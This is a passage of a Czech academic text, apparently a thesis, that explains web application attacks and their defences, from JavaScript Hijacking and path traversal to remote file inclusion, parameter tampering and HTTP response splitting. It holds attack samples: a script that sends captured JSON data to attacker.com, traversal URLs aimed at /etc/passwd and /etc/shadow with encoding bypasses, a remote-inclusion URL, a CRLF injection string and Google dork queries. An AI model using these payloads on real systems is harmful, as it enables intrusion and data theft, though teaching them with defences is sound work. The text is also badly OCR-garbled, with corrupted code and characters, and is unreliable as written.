{"jmeno" :"Petr", "prijmeni":"Vesely", "telefon":"6502135601",
"nakupy":120000.00, "email":"petr@ABCCompany.com" }]

Pokud nemaji ostatni uzivatelé pfistup k identifikatoru této relace, ktery je ptfenaSen
prostiednictvim cookies, nemohou ziskat vySe uvedena data. Jestlize vSak napadeny
uzivatel navstivi ato¢nikiiv web s pfislusnou Skodlivou strankou, mohou tak byt tyto
divérné informace odcizeny pravé pomoci techniky JavaScript Hijacking.

Nasledujici Skodlivy kod zajist'uje odeslani prendSenych dat na Gitocnikl web:

<script>

function Object() {

this.email setter = captureObject;

}

function captureObject(x) {

var objString = 5

for (fld in this) {

objstring += fld + ": " + this[fld] + ", ";
}
objString += "email: " + Xx;

var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" + escape(objString),true);
req.send(null);

}

</script>
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<script src="http://www.example.com/object.json"></script>

Na zacatku skriptu je nejprve piepsan konstruktor Object(), ktery slouzi k vytvaieni
pfenasenych objekti. Pokud je tedy nastaven objekt email, spusti se metoda

captureObject(), jenz dany objekt umozni zachytit a nasledné odeslat na uto¢nikiv web.

Posledni tadek kodu vklada JSON objekt do napadené stranky na zadost podvedeného
uzivatele a prohlize¢ posle cookies s piislusnou aktivni relaci. Tim dojde k obslouzeni
napaden¢ho pozadavku stejn€, jako kdyby byl odeslan z legitimni aplikace. Jakmile
uzivatel pfijme data z JSON pole, budou zpracovana v Gto¢nikové strance, ktera mimo jiné

obsahuje funkci obnovujici vyse uvedeny skript a uklada tak kazdy dalsi pfijaty objekt.

Pokud neni uzivatel do systému pifihlaSen a pouzije uto¢nikiv podstréeny HTTP
pozadavek, Skodliva stranka ho odkaze na legitimni pfiihlasovaci formulai aplikace.

Utoénik tak neziska piihlasovaci udaje, ale dokaZe tim sviij Gitok ochranit pfed odhalenim.

Zakladni obranou proti tinosu dat pomoci JavaScriptu je zabezpeceni aplikace proti utoku
Cross-Site Scripting. Pokud je webova aplikace zranitelna na XSS miize Gtoénik pouzit
vlastni JavaScript a provést tak napadeni ptfenaSenych udajii. Pokud je systém zabezpecen
vici XSS, ale vyuziva pro prenos dat JavaScript, nemusi i piesto vzdy proti napadeni
JavaScript Hijacking obstat. Dalsim vhodnym opatienim je vytvofeni mechanismu, ktery
rozpozna, zda byl pozadavek odeslan od legitimniho uzivatele. Toho mliZe byt dosaZeno za
predpokladu, Ze jsou soucasti povinnych parametrii pozadavku také platné cookies, které

jsou pfedany serverem legitimni aplikace. [29]

2.4.5 Pristupy k informacim
Directory Indexing

Tato zranitelnost vychazi z nedostatecného zabezpeceni webové aplikace, v jehoz dusledku
je uzivatelim umoznéno neopravnéné prochdzet adresarovou strukturu systému. Pokud
navstévnik pouzije pro piistup na web naptiklad URL
http://www.priklad.com/adresarl, webovy server najde v zadané cest¢ vychozi
stranku, a tu zobrazi pfichozimu uzivateli. JestliZze defaultni stranka neni k dispozici, server

muze uzivateli v nezabezpe€ené aplikaci automaticky vypsat obsah daného adresére.

Toto neocekavané zobrazeni adresafové struktury miize ito¢nikim napomoci v provedeni
fady utokl, které mohou vyrazné narusit bezpecnost celého systému. I pii oSetfeni této

zranitelnosti nelze spoléhat na predpoklad svadéjici k tomu, Zze pokud neni nikde zvefejnén
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odkaz na skryty soubor ¢i adresaf, tak je tento prvek systému pro bézné uzivatele
nedostupny. Programy slouzici pro mapovani struktury webovych aplikaci mohou jejich
skryté soubory a slozky odhalit, a pokud jestlize tyto prvky =zabezpeceny proti

neopravnénému piistupu, mohou byt snadno zneuzity.

Jedna se predevsim o tzv. backup files cili soubory zaloh, nesmazané¢ docasné soubory,
skryté soubory zacinaji teckou (.htaccess), konfiguracni soubory s pfiponami .conf,
.cfg ¢i .config apod. Tvorba zabezpeceni zamezujici vypisu hlavni adresafové struktury
pii nedostupnosti vychozi strdnky muze byt zajiSténa pomoci pfedem definovanych
chybovych stranek, které jsou v dané situaci uzivateli zobrazovany. Také piistup ke
skrytym souborim a slozkdm by mé¢l byt striktné oSetien vhodnou definici pfistupovych

prav s naslednym vypisem piislusnych hlaseni. [30]
Information Leakage

Information Leakage je zranitelnost spoc¢ivajici v odhaleni informaci, které mohou tito¢nici
vyuZit pro napadeni systému ¢i jejich uzivatell. Jedné se predevsim o citlivd data obsazena
v HTML komentaftich, coZ mize byt napiiklad ¢ast nepouzivaného zdrojového kodu ¢i jiné
udaje odhalujici technické provedeni aplikace. Pouzivani téchto komentaii muze
zjednodusit praci mezi skupinou vyvojaia, ale pti zavedeni aplikace do provozu musi byt

tyto pracovni poznamky odstranény.

Dalsi problém mohou piedstavovat volné piistupna chybova hlaseni, ktera by neméla byt
pii provozu aplikace takté? zobrazovana. Utotnik miZe z t&chto chyb zjistit verzi
pouzitého programovaciho jazyka, citlivé informace o webovém a databazovém serveru

apod.

V souvislosti s unikem citlivych informaci je nutné zminit také problém nakladani s
osobnimi daty uzivateld, které by nem¢ly byt v systému vetejné ptistupné. To mohou byt
napiiklad ¢isla u¢td, fidiéskych prukazd, ¢isla pasu, adresy bydlisté ¢i uzivatelské e-maily
apod.

Problematika Uiniku informaci je tedy obecné rozdélena na tii zdkladni vySe popsané ¢asti a
také obrana proti jejich nechténému zvetejnéni by méla byt zaméfena na vSechny tyto

problematické oblasti. [30]
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Path Traversal

Tento zplsob utoku vychazi ze zranitelnosti, kterd umoziuje piistup k souborim a
slozkdm mimo kofenovy adresai aplikace. Utoénik postupuje tak, Ze hleda absolutni
odkazy na soubory ulozené na webovém serveru, které ho tak mohou navést k citlivym
zdrojim dat, jejichz zneuziti mize vyznamné narusit bezpecnost webu ¢i dokonce celého
serveru. Tento typ napadeni muze byt v né€kterych zdrojich uvadén také pod nazvem Local

File Inclusion.

Zakladni technikou, jak provadét tento tok je pouziti znakt "../", které slouzi k navratu
do predchozi slozky adresafové struktury. Na nasledujicim ptikladu lze vidét modifikaci
odkazu, kterym se uto¢nik pokousi otevfit soubor s uzivatelskymi udaji na unixovém

serveru:
http://priklad/../../../../../etc/passwd

Jelikoz vSak vétSina nejpouzivangjSich webovych serverti obsahuje ochranu proti tomuto
jednoduchému zpisobu tniku z kofenového adresate aplikace, musi utocnik pro Gspésné
napadeni toto opatieni obejit. Technikou, ktera toto miiZze umoznit je pouziti zapisu lomitka
v URL ve tvaru validniho a invalidniho Unicode kédovani jako "%u2216" a "%ce%af"
nebo za pomoci tzv. dvojitétho URL kdédovani, které umoziuje zapis zpétného lomitka ve
tvaru "%255c", které je pouzito jako odd€lova¢ adresaifti v systémech Windows.

Nasledujici modifikované URL slouzi jako ukazka moznych Path Traversal napadeni:
http://priklad/..%u2216..%u2216..%u2216..%u2216. .%u2216etc..%u2216shadow
http://priklad/. .%c0%af..%c@%af..%c0%af..%cO%aft..%cO%afetc..%u2216hosts
http://priklad/..%255c..%255c..%255cboot.ini

Dosud uvedené piiklady byly zaméfeny na napadeni adresatovych struktur serverd.
Pomoci popisovaného Utoku Ize vSak také napadnout samotné webové aplikace a ¢asto se
zde jedna piedev§im o snahu zobrazeni aplika¢nich skripti v jejich textové podobé jako
soucast obsahu napadené stranky. Na nasledujicim pfikladu je mozno vidét, jak lze této

skute¢nosti dosdhnout:

http://priklad/skripty/skript.cgi?page=../skripty/skript.cgi%00txt

V napadené URL adrese je za pomoci sekvence "../" umoznén piechod do predchozi

adresarové urovné odkud je otevien adresai skripty obsahuji soubor skript.cgi, ktery
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je zobrazen jako textovy soubor za pomoci sekvence "%@@", kterd reprezentuje znak

mezery a umoziuje obejit kontrolu ptipony vkladaného souboru.

Obranou proti témto typim tutokti by mélo byt z hlediska ochrany souborovych struktur
serveru predevsim nastaveni vhodnych piistupovych prav definovanych jiz pii jeho
instalaci. Z pohledu ochrany webovych aplikaci by mély byt v souboru .htaccess
vymezeny chranéné soubory, ke nimz ma povoleny piistup pouze sama aplikace. Déle by
to méla byt také definice tzv. whitelistu ¢ili povolenych stranek, které 1ze v ramci vkladani

obsahu na webu zobrazovat. [26]
Predictable Resource Location

Tato hackerska technika je zaloZena na odhalovani skrytych nezabezpecenych webovych
funkcionalit, které mohou byt Gtoéniky zneuzity pro napadeni aplikace. Tento typ Gtoku je
nékdy znam také pod nazvem Forced Browsing, coz v piekladu zna¢i vynucené
prochazeni. Vyhledavany jsou nejéastéji docasné soubory, staré zalohy, konfiguracni

soubory a podobna citliva data.

Tyto utoky byvaji provadény bud’ ruéné, nebo také za pomoci vhodnych programt, které
umi mapovat stromové struktury webtl. Jednim z téchto néstroju je naptiklad open source
web scanner Nikto. Nej¢astéji vyhledavanymi adresafi a soubory jsou prvky jako /admin/,
/backup/, /tmp/, /logs/, /test/, /test.asp, /test.log atd.

Obranou proti tomuto typu utokdl miZze byt nastaveni, které v pravidelnych intervalech
maze docasné soubory a také jiz vicekrat zminované opatieni definujici vhodna ptistupova

prava k témto citlivym soubortim a slozkam. [26]
Insecure Direct Object Reference

Tento typ utoku spociva v nezabezpeceném piistupu k objektim aplikace, coz mohou byt
napiiklad soubory, adresafe ¢i databazové zaznamy apod. Pfistup k nim je provadén za
pomoci ptimych odkazi, které jsou tvofeny z jejich identifikacnich prvkl. To mtze byt v
napiiklad v internetovém bankovnictvi Cislo uctu, které je v databazové tabulce uloZeno
jako primarni klic. Toto ¢islo mlzZe byt pouzito v URL jako parametr slouZici k vyhledani
zdznamu spojenému s bankovnim uctem. Pokud je utocnik zaroven legitimnim uZzivatelem,
muze tak pfi nedostate¢ném zabezpeceni zménit své Cislo uctu v parametru URL a ziskat

tak ptipadné pfistup k ostatnim registrovanym uc¢tim systému.
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Ochranou proti tomuto typu utokd by mélo byt pfedevSim vylouceni pouziti pfimych
odkazii na zminéné citlivé objekty. Na tyto zdznamy by mélo byt odkazovano nepiimo
pomoci indexi, které tak uto¢niklim zamezi v manipulaci s t€émito daty v parametrech
URL. Pokud musi byt pfimé odkazy na tyto objekty pouzity, mél by byt striktné ovéien
uzivatel, ktery k nim pristupuje. [23]

Webserver/Application Fingerprinting

Tato hackerska technika je provadéna za ucCelem vytvofeni znalostniho profilu, ktery
uto¢nikiim umoziuje presné identifikovat pouzity operacni systém a webovy server. Tento
postup je prvotnim krokem tuto¢nika, po kterém je na zaklad¢ zjisténi pouzitého softwaru

nasazen vhodny postup napadeni vyuzivajici zndmych zranitelnosti daného feSeni.

Proces zjisténi pouzivaného operac¢niho systému a webového serveru je nejcastéji provadén
pomoci specifickych piikazii, které jsou odeslany serveru ke zpracovani, a dle pfijaté
reakce miize byt rozpoznano, o jaky druh softwaru se jednd. Tento postup je mozné
aplikovat pravé pfti znalosti, jak tyto systémy a predevsim jejich rozdilné verze na urcitou
sadu ptikazd reaguji. Nékteré verze systémi mohou na uréité HTTP pozadavky odpovidat
totozné, ale nikdy tomu tak neni u vSech, a pravé z tohoto diivodu je vhodné pro zpiesnéni

odhadu pouzivat téchto zkuSebnich piikazl vice.

Zékladnim postupem jak urcit druh pouZzivaného softwaru je nacist tyto informace z pole
pfijimaného v HTTP hlavi¢ce. Pro tento princip je vhodné pouzit naptiklad program
NetCat, coz je nastroj ovladany pomoci piikazové radky slouzici pro zapis a ¢teni z TCP ¢i

UDP spojeni.

Na nasledujicim ptikladu je uveden vypis programu po zadani ptikazu nc 202.41.76.251
80, ktery obsahuje IP adresu zkoumaného serveru a port 80 vyuzivany pro HTTP ptenos:
HTTP/1.1 200 OK

Date: Mon, 16 Jun 2003 02:53:29 GMT

Server: Apache/1.3.3 (Unix) (Red Hat/Linux)

Last-Modified: Wed, 07 Oct 1998 11:18:14 GMT

ETag: "1813-49b-361b4dfe6"

Accept-Ranges: bytes

Content-Length: 1179
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Connection: close
Content-Type: text/html

Jak lze vidét v poli Server, je pravdépodobné, Ze aplikace béZi na serveru Apache verze
1.3.3 pod opera¢nim systémem Linux. Pro testovani vét§iho mnozstvi webovych zdroji je
vhodné pouzit vhodné automatizované nastroje a jednim z nich maze byt software httprint.

Ukazku pouziti tohoto programu se nachédzi na obrdzku nize:

=I5

r— Input File = -

E:AHttprintshttprint_ 307 Swin324input. ket . Load Q[ ]

| AHitp prifit_ put. g,l oa |  rmap

I~ Signature File

IE:\Httprint\httprint_BD‘I wir32signatures. bt = |
Host | Fort | ﬁl Banner Reported | Banner Deduced | Conf. % |_l

|| web.faiuth.cz a0 I:‘ Apache/1.3.33 [Debian GNU/Linus] PH...  Lotus-Doming/6.x 59,04 E
portal uth.cz a0 D IBM_HTTP_Server Lotuz-Domina/B.» 5542 E

TE#_HITE Sccwsc
21108005EEN17ARER110A0C5E11000C5E11000CS505PCPERL27EE4EEG20AOLLE
D07643E5E11CH0C581 371270211C80C5E1108005211080C52110900
BED17AKEGEN] 7AREGE0L 7RRE 5110 0CEZCEGS27050C 50336801 TRAEIE431ECE
GED3CI95EE017ARES110A0CS 6801 7TRREGENL TRAEGE0] TRAEGE01 TRAEEICEGE2T
EICEE82362017ARES11CHNCSEICEEI2TEICEEHAT

Lobus-Dominof6.x: 92 53.42 3 ;I
WebLogic XeLX #odwle 2.1: 77 29.68
Rpache/3.0.x: 53 18.83
Reainf3.0.8: 64 15.05
Rpachefl.3. [1-2]: 64 15.0%
LY he¢l.3.27: 64 15.03
L;::).:::l.:. [4-24]: G4 15.0% LI LI
— Repart File

- - - - & html © xml h
IE:\Httpnnt\httpnnt_BD‘I awin325hitprintoutput. html n oo | Clear Al Optiong

|httprint has been completed.. |

Obr. 7. Ukazka pouziti programu httprint

Piikladem online nastroj poskytujiciho fadu informaci o cilovych serverech je sluzba
Netcraft, kterd byla vytvofena za ucelem vedeni statistickych udajii o vyuziti webovych

serveru. [23]
Google hacking

Google hacking je technika vyuzivana uto¢niky k nalezeni napadnutelnych obéti a
citlivych dat za pomoci nejznaméjsiho internetového vyhledavace Google. Zdrojem
specialnich dotazi, které hackefi pouzivaji k tomuto zplsobu ziskani informaci je obsazen
v Google Hacking Database (GHDB), coz je projekt sdruzujici informace spojeny s touto

vyhledavaci technikou.

Pomoci Google hackingu jsou nejcastéji vyhledavany predevsim zranitelnd mista serverti
obsluhujici webové aplikace ¢i také riznd chybova hléseni, kterd mohou odhalit mnohé

citlivé informace. Déle jsou to napfiklad adresafe obsahujici seznamy hesel ¢i
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konfiguracnich souborti nebo také soubory aplikacnich logii, soubory zaloh atd. Na
nasledujicich ptikladech lze vidét n€kolik typli jednoduchych dotazi vyhledavajicich

vypisy nékterych nezabezpeéenych adresarovych struktur:
"Index of /admin"
"Index of /password"

"Index of /mail"”

Dalsim zplsobem, jak vyuzit tento zptsob vyhledavani je pouziti operatoru "intitle",
ktery slouzi pro nalezeni textu obsaZzeného v HTML tagu <title>. Nasledujici dotaz
"intitle: index.parent of" tak napfiklad vyhleda vSechny weby, jenZ nemaji

zabezpecené prochazeni svych adresarovych struktur.

Pomoci operatoru "filetype" mohou byt vyhleddvany soubory podle typu jejich
koncovky. Ptikladem zde miZe byt nalezeni souborti web.config pomoci dotazu

"filetype:config web.config".

Moznosti jak pouzit techniku Google hacking je velké mnozstvi a zalezi jen na duvtipu
uto¢nika, jak tohoto potencialu zuzitkuje. Uréitym omezenim zde muze byt souCasné
blokovani nékterych dotazi z divodi jejich vyuZivani nékterymi internetovymi viry a
cervy. Tento systém ochran Ize vSak za urcitych pfedpokladi prekonat napiiklad zdménou

velikosti pismen ¢i oto¢enim potadi klicovych slov apod. [4]

2.4.6 SpouSténi skriptii na strané serveru
Unprotected Upload

Jedna se o typ ttoku, ktery je mozno provést, pokud aplikace z n¢jakého diivodu obsahuje
vstup pro vkladani uzivatelskych soubord. Utoénici zde zneuzivaji nedostate¢né kontroly
vkladanych souborti a snazi se tak na server ulozit skripty obsahujici Skodlivy zdrojovy
kod. Pokud se ulozeni zdafi, nasleduje druhy krok ttoku, a tim je nalezeni adresate, do
kterého se soubory z tohoto vstupu ukladaji. Jestlize se tuto slozku podaii objevit a je k ni
povolen pfistup, zbyva uz jen spustit Skodlivy soubor, ktery provede zamySleny utok.
Obranou proti tomuto typu utokd by mélo byt predevSim dusledné ovérovani vkladanych
soubort, a to predevsim jejich koncovek. To miize byt feSeno pomoci tzv. whitelistu, ¢ili
seznamu obsahujiciho povolené druhy souborti, jenZ mohou byt skrze tento vstup na server

ukladany.
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Remote File Inclusion

Tento zptsob napadeni vychazi z nedostatecné zabezpeceného mechanismu slouziciho pro
dynamické vkladani obsahu, jenZ je zabezpecovan funkcemi provadéjicimi vlozeni téchto
soubori. Tyto utoky jsou z hlediska mista, odkud jsou spoustény rozdéleny na ty, které
svoji Skodlivou Cinnost provadi na strané serveru, a ty, které jsou spoustény na strané

klienta.

Skodlivé soubory uloZzené na serveru jsou vétiinou spoustény na zakladé né&jaké
uzivatelské akce a casto mohou ohrozit funkénost celého systému. Napadeni na strané
Klienta je provadéno tak, Ze je po pfijeti uzivatelského pozadavku odeslana Gto¢nikem
upravena odpovéd’, kterda mulze napiiklad obsahovat JavaScript s kédem urenym pro

ziskani klientské session apod.

Samotna technika jak provést vlozeni Skodlivého souboru na webovy server se u aplikaci
pouzivajicich skriptovaci jazyk PHP provadi pomoci €asto uzivaného ptikazu include.
Ten je pravé soucasti jiz zminéného mechanismu pro vkladani obsahovych soubort. Na

nasledujicim ptikladu 1ze vidét zptisob, jak tohoto principu zneuzit:
http://www.priklad.com/index.php?page=uvod

$page = $_GET["page"];

include ($page.".php");

Na tvodnim ptikazu je mozno vidét, Ze do proménné $page je ukladdn obsah parametru
page ziskany HTTP metodou GET. Tato konstrukce je klasickym piikladem, jak
jednoduse fesit vkladani dynamického obsahu na webu pomoci piedani parametru stranky

z odkazli obsazenych naptiklad v navigaénim menu.

Pokud zde vsak neni tento parametr vhodné validovan, mize Gto¢nik vyuzit nasledujici

zranitelnost:

http://www.priklad.com/index.php?page=http://www.utocnik.com/skodlivy-

soubor

Jako parametr page zde byl vlozen odkaz na Skodlivy soubor umistény na webu utoc¢nika,
k némuz je pti provedeni ptikazu include pfipojena koncovka . php a muze tak byt vlozen
do napadené stranky a provést zamysleny utok. Mimo piikazu include je v PHP mozné
podobné zneuzit také piibuzné piikazy jako include_once, fopen, file_get_contents,

require nebo require_once.
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Nejvhodnéjsi obranou proti tomuto typu utokd je vytvofeni jiz zminovaného whitelistu,
ktery jasn¢ definuje mozné fetézce reprezentujici ndzvy povolenych stranek, které mohou
byt vladany do obsahu webu. Tento seznam byva definovan formou bézného pole fetézct,
které je pii pozadavku na vlozeni prochazeno, a v piipadé, Ze zde neni zadany nazev

souboru nalezen, je uzivatel naptiklad pfesmérovan na tivodni stranu aplikace. [26]

2.4.7 Logické utoky
Abuse of Functionality

Abuse of Functionality, v ptekladu znaéici zneuziti funkénosti aplikaci, jsou typy napadeni
vyuzivajici nevhodné zabezpecené webové funkce k provadéni riznych nezddoucich akci.
Jednou z nich muze byt naptiklad zneuziti kontaktniho formulare, ktery slouzi pro
odesilani informaénich e-mailti. Na nasledujicim ptikladu je vidét URL uréené pro piedani

parametra pro skript, ktery dany formular obsluhuje:

http://priklad/cgi-
bin/FormMail.pl?prijemce=email@obet.priklad&zprava=dostal’%20jsi%20spam

Pokud je toto napadeni zautomatizovano, muze tak uto¢nik provadét hromadné rozesilani
spamu z SMTP serveru webové aplikace. Obranou proti tomuto utoku je zavedeni
znamého opatieni CAPTCHA, které ovétuje, zda byl odesilatelem poslaného e-mailu

¢lovék ¢i automatizovany robot.

Dalsim typem téchto utoku mohou byt pokusy o ziskani uzivatelskych udaji z mechanismil
slouZicich pro reset ¢i zaslani zapomenutého hesla. Zde jsou ¢asto nasazeny nastroje pro
utoky hrubou silou, které testuji moZzné kombinace zaddni spravného uZzivatelského jména
¢i e-mailu vyzadovanych pfi téchto akcich. Pokud zadané heslo existuje, zobrazi se
uto¢nikovi hlaSeni o odeslani nového ¢i zapomenutého hesla na mail obéti, a je tak jasné,
ze dany ucet existuje. Nyni mutiZze Uto¢nik se zjiSténym tdajem napiiklad provést sérii
chybnych pfihlaSeni, ktera mohou vést k zablokovani napadené¢ho uctu uZivatele.
Opatienim proti tomuto zplisobu utoku je provadéno stejné jako u ptredchoziho piikladu

pomoci ovéteni CAPTCHA.

Nékteré webové sluzby jako napiiklad Google Translator mohou pfistupovat k jinym
strankdm v rezimu otevieného proxy serveru, coz uto¢nikiim umoziuje skryvat svou
identitu. Provedeni tohoto anonymniho pfistupu je jednoduché a spociva pouze ve vloZzeni

URL webu do pole slouziciho pro pteklad textu a pii pouziti prekladatem vytvofeného
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odkazu uzivatel skryje svou skuteCnou IP adresu. Anonymni pfistup pies tuto sluzbu je
dnes jiz znacn€ omezen, a nelze pomoci néj napiiklad potvrzovat ptihlaSovaci formulaie

apod. [26]
Insufficient Anti-Automation

Tyto typy utokd vychazeji z nedostatecného zabezpeceni webovych aplikaci proti
automatizovanym procesum, které jsou provadény v mistech, které byly navrzeny pouze

pro manudlni vyplnéni skuteCnymi uzivateli.

Muze se jednat napiiklad o znamé toky hrubou silou sméfované na ptihlaSovaci formulate
za ucelem ziskani uzivatelskych udaji. Dale je to automatizace uzivatelskych registraci,
kdy mtze byt v kratkém intervalu vytvofeno tisice novych uétd ¢i zaplaveni Sserveru
zadostmi o blokaci ¢i smazani klientskych profilt. Patii zde také jiz zminované hromadné
rozesilani spamu z nezabezpeCenych kontaktnich formulari. Pomoci automatizovanych
robotti mohou byt ve velkém mnozstvi ziskdvany osobni udaje o uzivatelich naptiklad z

urcitych socidlnich webi apod.

Tyto utoky mohou byt orientovany taktéZ na formulafe spojené s vykonanim urcitych SQL
dotazli, kdy mize dojit k zaslani velkého mnoZstvi slozitych databazovych pozadavki,
kterou mohou aplikaci néjakou dobu vyfadit z provozu. Napadeni tohoto typu mohou byt
také vyuzity napiiklad proti nevhodné zabezpecenym online anketdm, kdy mutze uto¢nik
zvratit jejich pribeh ve prospéch urcité volby. Patii zde také hromadné zneuZiti webovych

SMS bran, ze kterych miize byt rozesilano velké mnozstvi SMS spamti.

Ochranou proti vySe uvedenym druhim téchto napadeni je predevSim nasazeni jiz uvadéné
ochrany CAPTCHA a navrzeni dalSich vhodnych opatieni jako napfiklad definice nutnosti
uplynuti ur€itych ¢asovych interval pro opakovani nékteré z téchto akci ¢i omezeni z

hlediska poctu provedenych operaci na urcity ukon atd. [30]
Insufficient Process Validation

Tento typ napadeni je spojen se zranitelnosti, kterd utocnikim umoziuje obejit urcity
aplikacni proces, ktery je spojen s posloupnosti na sobé zavislych akci. Muze se jednat
napiiklad o klasické ndkupni schéma pouzivané pii objednéni zbozi v elektronickém
obchodé nebo muiZe jit o proces provedeni bankovniho pfevodu pfi pouziti elektronického
bankovnictvi apod. Ptiklad poruseni integrity posloupnosti takového aplika¢niho procesu

bude popsan v nasledujicim scénaii:
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V nakupnim kosiku elektronického obchodu je uzivateli nabidnuta sleva k produktu A za
predpokladu, ze je s timto vyrobkem zaroven zakoupen jiny produkt B. Uzivatel nema
zajem koupit soucasné oba produkty, ale rad by ziskal tuto nabizenou slevu. Vlozi tedy do
kosiku oba produkty, ¢imz ziska zminéné zvyhodnéni, ale pfed odeslanim objednavky
nechtény produkt B z ndkupu odstrani. Pokud neni aplikace dostatecné oSetfena, nabizena

sleva je uzivateli ve vysledném kroku ponechana a ziska tak podvodem nizsi nakupni cenu.

Konkrétnim ptikladem poruSeni integrity na sobé navazujicich procesti je skute¢nost
spojena se znamou sluzbou YouTube. Néktera zde uloZzend videa mohou byt shlédnuta
pouze osobou starsi 18 let, ale pokud je dané video soucasti jiného webu, je proces vékové

validace vynechan a zobrazeni probéhne bez omezeni.

U zminénych postupli, které obsahujici vice na sobé navazujicich krokl je zajiSténa
spravna funkcénost bud’ pomoci cookies ¢i diky ptfenosu procesnich dat pomoci skrytych
formulatovych poli. Pokud je mechanismus udrzovéani téchto zmén uklddan na strané
klienta, musi byt mozné integritu téchto dat néjakym zpisobem ovéfit, aby nedochazelo k

jejich cilenému pozménéni a tim k naruSeni bezpeénosti aplikace. [30]
Parameter Tampering

Tento druh napadeni je zaloZzen na manipulaci s parametry vymeénovany mezi uzivatelem a
serverem s cilem zmeénit citlivd aplikacni data jako naptiklad uzivatelskd opravnéni ¢i
mnozstvi a ceny vyrobkd nakupovanych v elektronickych obchodech apod. Tyto informace
jsou nejcastéji ukladany do cookies, skrytych formulafovych poli nebo jsou predavany jako

parametry v URL adrese.

Utoky tohoto typu jsou provadény bud’ za uéelem ziskani vlastniho prospéchu, nebo
mohou byt zaméfeny na ovlivnéni jinych uzivatelli, kde uto¢nik vstupuje do prenosu dat
mezi klientem a serverem jako tfeti osoba. Softwarem, ktery lze pro tyto Gcely zneuzit jsou
napiiklad programy Webscarab ¢i Paros proxy, které slouzi k testovani bezpecnosti
webovych aplikaci. Tyto aplikace jsou vyuzivany piedev§im pro jejich vlastnosti
umoziujici odchytavat a modifikovat HTTP pozadavky ¢i odhalovat skryté formulafové

pole apod.
Prikladem ovlivnéni pfenasenych parametrti mize byt ziskani a manipulace s odesilanymi
vybéry rozbalovacich seznamu ¢i zatrhavacich policek, které jsou piedavany HTTP

pozadavkam.
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Na nasledujici dvojici URL je mozné vidét pfimou zménu parametrd, které¢ slouzi k

predavani citlivych udaji o uzivatelské profilu vztazenému k internetovému bankovnictvi:
http://www.banka.com/default.asp?profil=741&debet=1000
http://www.banka.com/default.asp?profil=852&debet=2000

Utoénik zméni odchyceny pozadavek tak, aby identifikaéni &islo profilu sméfovalo na jeho

ucet pomoci zmény parametru profil, a diky parametru debet zvysi debetni zlstatek.

Dal$im napadenim muze byt zména atributl skrytého formuléfového pole, které miize

slouzit naptiklad k pfenosu ceny za polozku v elektronickém obchodé¢:
<input type="hidden" id="1008" name="cena" value="1250.00">

Upravou atributu value utoénik docili sniZeni ceny daného produktu p¥i provadéni nakupu
dané polozky. Tento typ napadeni zneuZzivajici skryté formularové pole byva nékdy uvadén

také pod nazvem Hidden Field Manipulation.

Druhy 1tokii manipulujici s parametry aplikacnich dat, které jsou pienaseny
prostiednictvim cookies jsou znamy pod nazvem Cookie Poisoning. Jedna se o napadeni,
které je provadéno zménou zde obsazenych idaji ukladanych na strané klienta pted jejich
odeslanim zpét na server. Pokud napiiklad Uto¢nik provadi nakup v elektronickém

obchod¢, mize pred vyslednym odeslanim objednavky zménit jeji celkovou cenu apod.

Obranou proti utokiim, které manipuluji s parametry datovych toki, by mélo byt obecné
vylouceni pouziti skrytych formularovych poli a predavani citlivych dat pomoci parametra
obsazenych v URL. Vhodnym feSenim z hlediska bezpecnosti se jevi ukladani téchto idajh
do cookies, jenz jsou od klienta na server odesilany pouze s platnym autentizaénim
tokenem generovanym pro danou relaci. Vhodnym doplnénim muze byt dale také Sifrovani
téchto prenaSenych dat, coz zajisti nemoZnost zmény danych informaci klasickym

prepisem bézné Citelnych hodnot. [23]
2.4.8 Utoky za pomoci protokoli

HTTP Response Splitting

Tento typ Gtoku vychézi z principu neopravnéného rozdeleni hlavicky HTTP odpovédi na
dvé casti, kterd by méla byt v bézném piipadé nedé€litelnd. Podstatou tohoto déleni je

odeslani jednoho pozadavku, ktery nuti webovy server vracet dvé odpoveédi namisto jedné.
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Tato skutecnost umoznuje uto¢niklim plné¢ modifikovat obsah druhé vytvotené odpovédi,

coz vyrazné narusuje bezpec¢nost takto zranitelné aplikace.

Jelikoz slouzi jako odd€lovac konce hlavicky prazdny fadek, je pravé neocekavané vlozeni
znaki zajistujicich odiadkovani zplisobem, jak vytvofit z jedné HTTP odpovédi dve. Jedna
se o dvojici znamou pod zkratkou CRLF. CR je napiiklad v programovacim jazyce C
zapisovan jako "\r" a do URL je pfedavan v podobé "%@d". Zapis oddélovace LF je ve

tvaru "\n" a pfi URL kodovani je reprezentovan jako "%0a".

Tento typ utoktl je obecné uskutectiovan, predevsim pokud jsou v obsahu HTTP hlavi¢ek
prendSena uzivatelskd data, a to je provadéno nejcastéji pfi presmérovani URL na jinou
stranku nebo pii pfeddvani téchto dat do cookies. Na nasledujicim ptikladu bude popsana

jedna z moZnosti, jak Ize tento utok uskutecnit:

Nize uvedena ¢ast kodu nacte jméno autora webu z HTTP pozadavku a nastavi jej do

hlavicky cookies v HTTP odpovédi.

String author = request.getParameter(AUTHOR_PARAM);

Cookie cookie

new Cookie("author", author);
cookie.setMaxAge(cookieExpiration);
response.addCookie(cookie);

Za ptedpokladu, Ze je fetézec predavaného jména slozen pouze z béznych alfanumerickych

znaki mize mit HTTP odpovéd’ nésledujici podobu:

HTTP/1.1 200 OK

Set-Cookie: author=Karel Novak

ProtoZe je ale hodnota cookies vytvoiena z neovéfeného uZivatelského vstupu, bude jeji
puvodni obsah zachovan pouze za piedpokladu, Ze hodnota AUTHOR_PARAM neobsahuje
nebezpecné znaky CR a LF. Pokud zde uto¢nik vlozi Skodlivy fetézec jako naptiklad
"Petr Hacker\r\nHTTP/1.1 200 OK\r\n...", bude vysledna HTTP odpoveéd

rozdelena do dvou samostatnych celkl v nasledujici formé:
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HTTP/1.1 200 OK

Set-Cookie: author=Petr Hacker

HTTP/1.1 200 OK

Nyni lze ptepokladat, ze druhd odpovéd je pln¢ pod kontrolou uto¢nika a miize byt
vytvotena s jakoukoli hlavi¢kou nasledovanou libovolnym obsahem. Tato skute¢nost tak
uto¢nikiim umoznuje vytvaret celou fadu navazujicich utokti. Mize to byt naptiklad typ
napadeni zvany Cross-User Defacement, ktery za pomoci zneuziti zminéné druhé odpovédi
provede odeslani vlastniho podvrzeného dokumentu, a ten muize z uzivatele napiiklad

vylakat citlivé osobni tidaje apod.

Dale to muze byt Gtok zvany Cache poisoning, ktery podobné jako Cross-User Defacement
predklada uto¢nikem podvrzeny dokument, a ten se navic snazi ulozit do mezipaméti

prohlize¢e, kde miZe za urcitych podminek ziistat pomérné dlouhou dobu.

